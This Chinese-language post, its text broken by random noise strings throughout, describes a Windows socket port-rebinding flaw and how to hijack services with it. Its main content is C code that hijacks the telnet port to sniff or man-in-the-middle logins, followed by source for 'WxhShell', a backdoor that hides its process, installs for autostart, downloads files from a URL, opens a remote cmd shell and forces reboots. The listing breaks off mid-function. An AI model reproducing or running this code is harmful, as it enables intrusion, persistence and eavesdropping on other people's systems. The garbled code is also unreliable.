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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7.hBc;%2u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \{ @m +PjTT6 saddr.sin_family = AF_INET; x 4+WZYv3 |+q_kx@?l saddr.sin_addr.s_addr = htonl(INADDR_ANY); qU!dg ^A@f{g$KB+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %xlpOR4
]
#@:VR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *'-4%7C`1 <=">2WP{ 这意味着什么?意味着可以进行如下的攻击: EwzR4,r\M KVa{;zBwl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E2'Wzrovlo -U /)y:k!% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1 %P-X! (N9-YP?qm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JB~^J5#[Oh o'#& =h$_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 S&`6pN 6kH6" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jg710.v: tTy !o= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5v)^4(
) ,%TBW,> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B?z2@, 8OZj24*'DS #include <-v
zS; #include m[}k]PB> #include LeLUt<4~ #include rE+B}O DWORD WINAPI ClientThread(LPVOID lpParam); S[zvR9AW& int main() $H@SXx { &s+l/;3 WORD wVersionRequested; ~.W]x~X$ DWORD ret; r'OqG^6JFN WSADATA wsaData; W~
~' BOOL val; ty,oj33 SOCKADDR_IN saddr; KV_/fa~Ry SOCKADDR_IN scaddr; =~+ WJN int err; =xo0T 6 SOCKET s; o pTXI*QA SOCKET sc; ^v;)6a2 int caddsize; Y)1/fEM HANDLE mt; `j>5W<5q\ DWORD tid; ^cYB.oeu wVersionRequested = MAKEWORD( 2, 2 ); #hxYB err = WSAStartup( wVersionRequested, &wsaData ); 5skN'*oG if ( err != 0 ) { L]kBY2c printf("error!WSAStartup failed!\n"); *D?_,s return -1; "U}kp#) } l
r&7 qu saddr.sin_family = AF_INET; qPQIcJ lp
*GJP]T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /}m)FaAi sF
{,n0<8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `9^tuR, saddr.sin_port = htons(23); 1B4Qj`:+0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PR@6=[|d { KR>)Ek printf("error!socket failed!\n"); Iq+N0G<j return -1; Pf[E..HF*d } OIP]9lM$nC val = TRUE; A<+Dx
//SO_REUSEADDR选项就是可以实现端口重绑定的 z%D7x5!,R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KoERg&fY { pp@
Owpb printf("error!setsockopt failed!\n"); V'i-pn2gyu return -1; '#+&?6 p } 0vv~G\yM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0nb%+],pX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TF8#I28AD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^p3GT6 "W7|Xp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `WayR^ 9 { ab6I*DbF ret=GetLastError(); ''nOXl printf("error!bind failed!\n"); h$02#(RHJ return -1; VfcIR( } GKt."[seV listen(s,2); %>m.Z#R( while(1) AQ'%}(#0 { I){4MoH. caddsize = sizeof(scaddr); ,P a*; o\ //接受连接请求 X!]v4ma` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9nG^_.}| if(sc!=INVALID_SOCKET) 2o SM| { /7UvV60 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iXMJ1\!q\| if(mt==NULL) L I<S { 9+@h2"|N4* printf("Thread Creat Failed!\n"); I\mF dE break; QC+
Z6WS; } &r1(1< } ,CqWm9 CloseHandle(mt); "`% ,l|D } [M\ an6h6O closesocket(s); 3x[Cpg, WSACleanup(); t7]j6>MK3q return 0; F rckA } & P-8_I DWORD WINAPI ClientThread(LPVOID lpParam) *JJ8\R&P0 { jYp!?%! SOCKET ss = (SOCKET)lpParam; ?%6oM SOCKET sc; 4zyQ "?A~ unsigned char buf[4096]; 1iF=~@Nz_ SOCKADDR_IN saddr; Pe_O( long num; ,jY:@<n DWORD val; yT7$6x DWORD ret; 'I$FOH //如果是隐藏端口应用的话,可以在此处加一些判断 J0!V ( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1B;2 ~2X saddr.sin_family = AF_INET; RcYUO* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rl ]x: saddr.sin_port = htons(23); IJ Jp5[w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E{\CE1* { P(shbi@ printf("error!socket failed!\n"); w ,j*I7V return -1;
NxHUOPAJc } X)3(.L val = 100; JWb + if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b G:\*1T { U`(=iyWP= ret = GetLastError(); CTNL-> return -1; ,U\s89 } $?56 i4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t{>K).' { cfIC(d ret = GetLastError(); =dGp&9K,fw return -1; pCE
GZV,d@ } B7f<XBU6> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O)q4^AE$ { g#$ C8k printf("error!socket connect failed!\n"); oP,*H6)i closesocket(sc); n6oOknCna closesocket(ss); PBn7{( x return -1; +pR,BjY } x9 > ho while(1) GB$`b'x@S {
t;o\"H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F'K >@y //如果是嗅探内容的话,可以再此处进行内容分析和记录 cr!8Tp;2A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P*&[9)d6 num = recv(ss,buf,4096,0);
'FXM7D if(num>0) jYVs\h6 send(sc,buf,num,0); H7+"BWc else if(num==0) nqy*>X` break; /WnCAdDgZ num = recv(sc,buf,4096,0); F*KQhH7Gf if(num>0) FSM M send(ss,buf,num,0); 7fR5V else if(num==0) l2LQV]l break; :Qge1/ } FOG{dio closesocket(ss); x$d[Ovw- closesocket(sc); h?xgOb!4 return 0 ; p7|I>8ur. } d'';0[W) }k }=e nYx
/q ========================================================== @\g}I`_M FsED9+/m 下边附上一个代码,,WXhSHELL !/p|~K )J 'F]s ========================================================== lq9|tt6Z 1K9.3n #include "stdafx.h" v[
iJ(C_ '7'/+G'~& #include <stdio.h> jF?0,g #include <string.h> \*t\=4 #include <windows.h> DSLX/uo1 #include <winsock2.h> 5sJ>+Rg #include <winsvc.h> )h]+cGM #include <urlmon.h> 7z;2J;u`n <W0(!<U #pragma comment (lib, "Ws2_32.lib") ??/bI~Sd #pragma comment (lib, "urlmon.lib") zx$YNjeV b\"F6TF: #define MAX_USER 100 // 最大客户端连接数 6:2* < #define BUF_SOCK 200 // sock buffer "pO #define KEY_BUFF 255 // 输入 buffer ]'pfw9"f~ 8w:ay,= #define REBOOT 0 // 重启 Tr?p/9.m
#define SHUTDOWN 1 // 关机 g4^-B R[m-jUL #define DEF_PORT 5000 // 监听端口 ?^~ZsOd8B
j6l1<3j #define REG_LEN 16 // 注册表键长度 .s<0}<Aq> #define SVC_LEN 80 // NT服务名长度 -- %XkO XCI // 从dll定义API D|5mNX%e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A$wC!P|; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =aVvv+T
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7]rIq\bM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nFlN{_/ fK7
?"^`/ // wxhshell配置信息 xo@1((|z struct WSCFG { hF-QbO int ws_port; // 监听端口 KiXfR\S~C char ws_passstr[REG_LEN]; // 口令 4 ?BQ&d int ws_autoins; // 安装标记, 1=yes 0=no eX"%b(;s char ws_regname[REG_LEN]; // 注册表键名 "_UnN}Uk char ws_svcname[REG_LEN]; // 服务名 j/TnKO char ws_svcdisp[SVC_LEN]; // 服务显示名 z-
q.8~Z char ws_svcdesc[SVC_LEN]; // 服务描述信息 |cC3L09 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o+|>D&CW% int ws_downexe; // 下载执行标记, 1=yes 0=no {qw'gJmX char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w,IJ44f ^% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 --]blP7 9Z-2MF }; |.9PwD8~VD N_g=,E=U% // default Wxhshell configuration h!wq&Vi4 struct WSCFG wscfg={DEF_PORT, zYaFbNi "xuhuanlingzhe", )cH\i91 1, O]XRalkEM "Wxhshell", sNx_9pJs4 "Wxhshell", uRy}HLZ" "WxhShell Service", Py*WHHO "Wrsky Windows CmdShell Service", ,It0brF "Please Input Your Password: ", j*QdD\) 1, ZW;Ec+n_K " http://www.wrsky.com/wxhshell.exe", Qy9_tvq
X "Wxhshell.exe" :0@0muo }; _EMXx4J ?Q_ @@) // 消息定义模块 q# j[0,^ $ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?sHZeWZ( char *msg_ws_prompt="\n\r? for help\n\r#>"; g}`g>&l5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "vk]y char *msg_ws_ext="\n\rExit."; %sc w]oF char *msg_ws_end="\n\rQuit."; B6F!" char *msg_ws_boot="\n\rReboot..."; 5 51_;,t char *msg_ws_poff="\n\rShutdown..."; 2}<tzDI' char *msg_ws_down="\n\rSave to "; N%Bl+7,q B\
'rxbH char *msg_ws_err="\n\rErr!"; h_t`)]- char *msg_ws_ok="\n\rOK!"; 3fLdceT % (h6m${j char ExeFile[MAX_PATH]; ;^:8F int nUser = 0; k:n{AoUc
HANDLE handles[MAX_USER]; L/fXP@u int OsIsNt; ;*rGZ?%* V(cU/Aia^ SERVICE_STATUS serviceStatus; l8E))oz1T SERVICE_STATUS_HANDLE hServiceStatusHandle; t5 >ma:^j Ju>QQOxi| // 函数声明 dkg`T#} int Install(void); `u3kP int Uninstall(void); r~=+>,
_ int DownloadFile(char *sURL, SOCKET wsh); 4(,.<# int Boot(int flag); GQg
2!s( void HideProc(void); DvhFCA}z int GetOsVer(void); 1[OY -G int Wxhshell(SOCKET wsl); MVMJl "> void TalkWithClient(void *cs); !43nL[] int CmdShell(SOCKET sock); +m
J G:n int StartFromService(void); A23K!a2u& int StartWxhshell(LPSTR lpCmdLine); \@PMj"p|: i$pUUK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X,3"4 SK VOID WINAPI NTServiceHandler( DWORD fdwControl ); YAR$6& ExS&fUn`C // 数据结构和表定义 P[aE3Felk SERVICE_TABLE_ENTRY DispatchTable[] = '[6]W)f { :&5u) {wscfg.ws_svcname, NTServiceMain}, BUZ74 {NULL, NULL} [e,xC!2 }; \u.5_
g X%-"b` // 自我安装 7VfXE/ int Install(void) XSx!11 { 4+qo=i char svExeFile[MAX_PATH]; &5jc
&CS HKEY key; I!F&8B+| strcpy(svExeFile,ExeFile); s]yZ<uA R:P), // 如果是win9x系统,修改注册表设为自启动 4qDa:D"5 if(!OsIsNt) { g&RhPrtl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Zp*? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (M;d*gNr RegCloseKey(key); 5<X"+`=9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >l}v
_k*~B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L7- JK3/E RegCloseKey(key); %D-!<)z return 0; N]8/l:@ } Lm$KR!z } ^Zpz@T>m } $lB!Q8a$ else {
Mb_"M7 q:F6MW // 如果是NT以上系统,安装为系统服务 4Tuh]5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k'.cl^6Z8 if (schSCManager!=0) 'n{=`e(}cI { (xfy?N SC_HANDLE schService = CreateService Q$Qr)mcC ( :V"e+I schSCManager, xz: wscfg.ws_svcname, k FRVW+ wscfg.ws_svcdisp, ci%$So2# SERVICE_ALL_ACCESS, WjVm{ 7?{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [)X( Qtk SERVICE_AUTO_START, Oc~<`C~ SERVICE_ERROR_NORMAL, ,X|
>d svExeFile, kFQo[O] NULL, G{pF! q NULL, U&^(%W# NULL, @0:Eg 1- NULL, [C
ezz5 NULL Oxu}W%BF* ); ~A/vP- if (schService!=0) <qoc)p=__ { NxH%%>o> CloseServiceHandle(schService); xE_~.EoB CloseServiceHandle(schSCManager); </9c=GoJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BDL[C<d( strcat(svExeFile,wscfg.ws_svcname); (eT9N_W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5!i\S[: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =f=>buD RegCloseKey(key); {JQV~rfh` return 0; m,5m'9dj } "V:RKH` } /.mx\_$ CloseServiceHandle(schSCManager); abe5 As r } ME*zMLoF+ } cor!S a> 2e,cE6r return 1; |em_l$oGc } BN`tiPNEp Nc EPPl0I // 自我卸载 zcV~)go6 int Uninstall(void) *wdNZ { 3cqc< HKEY key; M%13b$i~f J"eE9FLM if(!OsIsNt) { RXO}mu]Iu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M&(0n?R"R RegDeleteValue(key,wscfg.ws_regname); 7
A{R0@ RegCloseKey(key); P` CQ)o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]<iD'=a RegDeleteValue(key,wscfg.ws_regname); w V v@
RegCloseKey(key); R-Tf9?) return 0; fn//j7 j } F{&0(6^p! } x;&iLQZh } ]o9^?iU] else { Q:b>1 _P_R`A)" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Re;[S[D7 if (schSCManager!=0) (^|vN; { W1}d6Sbg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =b3<}] if (schService!=0) -!j5j:RR { ,PWMl[X if(DeleteService(schService)!=0) { 0VgsV; CloseServiceHandle(schService); *%]&5 CloseServiceHandle(schSCManager); w`Cs, return 0; {bNKyT } =,U~ CloseServiceHandle(schService); Cj)*JZVG } -C*UB CloseServiceHandle(schSCManager); .A6Jj4`- } ?Ql<s8 } |dqAT . K}dvXO@=|c return 1; D<4cpH } .L3D] v00w
GOpW // 从指定url下载文件 J.,7d , int DownloadFile(char *sURL, SOCKET wsh) U)S!@2(4 { yD^Q&1 HRESULT hr; c_6~zb?k+m char seps[]= "/"; h],l`lT1\ char *token; }(UU~V char *file; >s%m\"|oh char myURL[MAX_PATH]; /n9,XD&) char myFILE[MAX_PATH]; >@|XY< IDt7KJ@hc strcpy(myURL,sURL); @ojV8 token=strtok(myURL,seps); &~N@M!`Dn while(token!=NULL) kSqMI'89 { `Yo!sgPO\ file=token; hRktvO)K token=strtok(NULL,seps); *edhJUT } L8 $+%Gvo ~hQTxLp GetCurrentDirectory(MAX_PATH,myFILE); nxx&aq(._ strcat(myFILE, "\\"); N9AM% H$7 strcat(myFILE, file); x)2ZbIDB:" send(wsh,myFILE,strlen(myFILE),0); 4q`e<!MP)q send(wsh,"...",3,0); ,6T3:qkkvF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ET=-r if(hr==S_OK) {r[g.@ return 0; $s9YU" else "xMnD(p return 1; ,uhOf! | zqGo7;;# } m^YYdyn]M Cq%1j[ // 系统电源模块 $tca:
b}Mk int Boot(int flag) v?#W/].C+ { tq8rG@-C HANDLE hToken; 2)R*d TOKEN_PRIVILEGES tkp; 6tT*b@/_o CDDOm8 if(OsIsNt) { E<4'4)FHuQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @]:GTrs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^U{SUWl tkp.PrivilegeCount = 1; D"GQlR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,wH]|`w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5wy3C if(flag==REBOOT) { $r/tVu2!W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ood,k{ return 0; 2mPU / } [f@[gE else { "s
rRlu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |7E1yu return 0; jf~-;2 } ~g|z7o } \~@a/J else { De:| T8& if(flag==REBOOT) { HF]|>1WV[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q5ja \ return 0; 2VA mL7) } Jhr3[A else { $]S*(K3U~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jun$CY4 return 0; 5"I8ric } /.%AE|0+X } tU>?j1 H.]rH,8 return 1; 4ai|*8. } _|vY)4B4U <gbm
1iEe // win9x进程隐藏模块 YgW 50)q^ void HideProc(void) 9w( Wtw' { 3YOYlb %j `\5u/i'Ca! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?*2Uw{~} if ( hKernel != NULL ) zDx*R3% { };s8xGW:k3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7xy[; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); We*&\e+"T FreeLibrary(hKernel);
*B1%- } 0GP\*Y8 "jMSF@lr return; k_hs g6Ur. } Q"=$.M~ a!Ht81gj // 获取操作系统版本 7,&M6<~ int GetOsVer(void) &3%V%_ { MY"8! OSVERSIONINFO winfo; JUlCj#% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] B3\IT GetVersionEx(&winfo); E\dJb}"x % if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /#xx,?~xx0 return 1; S"G`j!m1 else s\A4y " return 0; ?0k4l8R } lzup! `g &'d3Yt // 客户端句柄模块 EHqcQx`K_ int Wxhshell(SOCKET wsl) E-J<%+ { @eU5b63jM SOCKET wsh; 78-D/WY/X struct sockaddr_in client; 6y+}=)J DWORD myID; EQ>] ~
eY#_!{*Wn while(nUser<MAX_USER)
X6<%SJC { Q%
LQP!Kg int nSize=sizeof(client); UUaC@Rs2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ud,=O Xq if(wsh==INVALID_SOCKET) return 1; "-aCF # 8fq6z|JZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @Rp#*{ if(handles[nUser]==0) Nr#" 5<W closesocket(wsh); 2E*h,Mo else o+I'nFtnI nUser++; sxFkpf_h } &yN/AY`U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HH3Ln+AWg_ 7ajkp+E6 return 0; .`Rju|l } nYbI =_- A4`3yy{0- // 关闭 socket \GEf,%U<K void CloseIt(SOCKET wsh) bfl%yGkd/| { Hm*?<o9mxC closesocket(wsh); O[O[E}8# nUser--; X4{O/G ExitThread(0); o1?bqVF;6 } 99tKs na,i(m?l // 客户端请求句柄 1]% ]"JbV void TalkWithClient(void *cs) (Ceq@eAlT { rVF7!|& @^UnrKSd SOCKET wsh=(SOCKET)cs; l11+sqg char pwd[SVC_LEN]; $>=?'wr char cmd[KEY_BUFF]; D3xyJ char chr[1]; Q@w=Jt< int i,j; .\:{6_ ]mSkjKw while (nUser < MAX_USER) { t],5{UF jNu`umS if(wscfg.ws_passstr) { cH>3|B*y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YR/%0^M'0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6h%_\I.Z[[ //ZeroMemory(pwd,KEY_BUFF); /_.1f|{B i=0; ?f'iS#XL while(i<SVC_LEN) { mX&!/U
I("lGY // 设置超时 g;To}0H fd_set FdRead; j'M=+ struct timeval TimeOut; (>a8h~Na FD_ZERO(&FdRead); !bg2(2z FD_SET(wsh,&FdRead); |fhYft TimeOut.tv_sec=8; }{S
f* TimeOut.tv_usec=0; yirQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D,sb{N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k^C^.[? (HD8Mm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uXkc07 r' pwd =chr[0]; F\IJim-Rh if(chr[0]==0xd || chr[0]==0xa) { 3tu:Vc.:M pwd=0; Tw0GG8(c break; U1 ;<NUg } 3Eu;_u_ i++; $l+DkR+ } +\/1V` Wt
1]9{$ // 如果是非法用户,关闭 socket #[$zbZ(I>: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dJ&f +
} Ka+N5 T.f [B+]F~}@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eb#p-=^KP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +u\kTn yh:Wg$qx while(1) { SQ0?M\D7 }K'gjs/N; ZeroMemory(cmd,KEY_BUFF); }Md5a%s< fs,]%g^ // 自动支持客户端 telnet标准 jhF&
j=0; X5w_ }Nhe while(j<KEY_BUFF) { ])tUXU> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{y(&Oy3Y cmd[j]=chr[0]; 7*I:cga if(chr[0]==0xa || chr[0]==0xd) { )p!.V(, cmd[j]=0; OLs<]0H
break; =%Z5"]; }
A\:u5( j++; odsLFU( } ,6AnuA %`)lCK)2 // 下载文件 Yx3ivjX.> if(strstr(cmd,"http://")) { -.!+i8d> send(wsh,msg_ws_down,strlen(msg_ws_down),0); :pXY/Pa if(DownloadFile(cmd,wsh)) s9aa _Th send(wsh,msg_ws_err,strlen(msg_ws_err),0); |D1:~z else Q@0Zh,l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]wV 1<K } tRu j}n+x else { oGvk,mh"( e~P4>3 switch(cmd[0]) { mIh >8))E hSgH;k // 帮助
e]DuV)k& case '?': { VqL#w<A% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "J"RH:$v break; H9%[!
RF } cf+EQY // 安装 P1qQ)-J case 'i': { 'dvi@Jx if(Install()) J|=0 :G send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`\"UC7?% else /hp
[ +K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Kzu&*9Hb break; Vf#g~IOI } o*sss // 卸载 [!ilcHE) case 'r': { &qyXi[vw if(Uninstall()) ?"-1QG send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ny` =]BA else 1EAQ ~S!2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tV"Jh>Z break; 1uco{JX<S } *)D$w_06S // 显示 wxhshell 所在路径 2|\WaH9P case 'p': { O<()T6 char svExeFile[MAX_PATH]; \&\U&^? strcpy(svExeFile,"\n\r"); D5"Xjo* strcat(svExeFile,ExeFile); Y.
Uca<{.[ send(wsh,svExeFile,strlen(svExeFile),0); @p%WFNR0 break; 4Is Wp!`W } 9}A\BhtiM // 重启 l8 H8c & case 'b': { tUT:vK` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ":!1gC if(Boot(REBOOT)) XImX1GH send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^g}Z7D'T else { Mb:> closesocket(wsh); YkF52_^_ ExitThread(0); sv)4e)1 } vlC$0P break; I3;03X<2 } LbUH`0:%t // 关机 0iI|eE o case 'd': { M3!4,_!~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'l $ViNq; if(Boot(SHUTDOWN)) '37 <+N send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'OI(MuSn else { UK5u"@T closesocket(wsh); aNUMF ExitThread(0); p}p}!M| } }6"l`$=Ev break; 3FG'A[x3O } :_[pZ;-@ // 获取shell y*e({fio_ case 's': { sL],@z8<k CmdShell(wsh); hMyN$7Z closesocket(wsh); :"'*1S* ExitThread(0); O`Y@U?^N break; !>\g[C } KGrYF // 退出 *FFD G_YG? case 'x': { 0@wXE\s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #_Z)2ESX CloseIt(wsh); 8Om4G]*|, break; XwIhD } %^l&:\ hy // 离开 R>hL.+l. case 'q': { k>F>y|m send(wsh,msg_ws_end,strlen(msg_ws_end),0); \3T[Cy|5| closesocket(wsh); d>O/Zal WSACleanup(); 89UR w9 exit(1); {~`{bnx^]7 break; >02p,W6S> } YBL.R;^v } w1LZ\nA< } g>QN9v}) w[g`)8Ib // 提示信息 e)$a ;6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _wUg+Xs] } 1L%$\0B4hm } 3LZvlcLb 9B/iQCFtj$ return; -s^)HR
l } d%:J-UtG" eq@-J+ // shell模块句柄
@<koL int CmdShell(SOCKET sock) hE7rnn{ { S^iT&;, STARTUPINFO si; yCwe:58 ZeroMemory(&si,sizeof(si)); QBd4ok:R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YB.@zL0.( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ee{K5 G PROCESS_INFORMATION ProcessInfo; 1[!7xA0 j char cmdline[]="cmd"; jS)YYk5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U+[h^M$U return 0; j>G|Xv } 5|Oj\L{ f^lhdZ\ // 自身启动模式 q+
`QiPj int StartFromService(void) qWS"I+o,S { : . PRM+ typedef struct [WI'oy { Bh7hF?c Sj DWORD ExitStatus; ccT
<UIpq DWORD PebBaseAddress; wli H3vA_ DWORD AffinityMask; /4;Sxx- DWORD BasePriority; G +AP."M? ULONG UniqueProcessId; 4m6/ba ULONG InheritedFromUniqueProcessId; =s9*=5r 8 } PROCESS_BASIC_INFORMATION; sF3@7~m4 e.W <pI, PROCNTQSIP NtQueryInformationProcess; T(Ji%S> -/:K.SY, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QZJnb%] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O*%5P5'p"{ izu_1X HANDLE hProcess; rdsZ[ii PROCESS_BASIC_INFORMATION pbi; T.W^L'L` UG3}|\.u HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^].U?t.n) if(NULL == hInst ) return 0; D^6Q`o jp|*kBDq\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4I#@xm8) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qMw_`dC 